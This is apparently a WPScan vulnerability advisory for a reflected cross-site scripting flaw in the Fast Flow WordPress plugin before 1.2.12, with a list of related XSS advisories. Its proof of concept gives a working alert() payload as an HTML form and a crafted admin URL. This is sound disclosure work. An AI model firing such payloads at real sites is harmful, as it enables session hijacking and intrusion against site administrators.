Fast Flow < 1.2.12 – Reflected Cross-Site Scripting | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape some parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting

Proof of Concept

<form action="https://example.com/wp-admin/admin.php?page=fast_tagged_users" method="POST">
    <input type="text" name="page" value='"><svg/onload=alert(/XSS/)>'>
    <input type="submit" value="submit">
</form>

https://example.com/wp-admin/admin.php?page=fast-flow&p="><svg/onload=alert(/XSS/)>

Affects Plugins

fast-flow-dashboard

Fixed in 1.2.12

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

WPScan

Verified

Yes

WPVDB ID

ca9267d0-9dea-4cd1-9795-06922286497d

Timeline

Publicly Published

2022-08-15 (about 3 years ago)

Added

2022-08-15 (about 3 years ago)

Last Updated

2022-08-15 (about 3 years ago)

Other

Published

Title

Published

2024-12-11

Title

Hello Event Widgets For Elementor < 1.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2026-01-07

Title

X Addons for Elementor <= 1.0.23 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-12-11

Title

Seraphinite Bulk Discounts for WooCommerce < 2.4.7 - Reflected Cross-Site Scripting

Published

2024-08-21

Title

The Plus Addons for Elementor – Elementor Addons, Page Templates, Widgets, Mega Menu, WooCommerce < 5.6.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Testimonials Widget Settings

Published

2025-01-07

Title

Justified Image Gallery <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting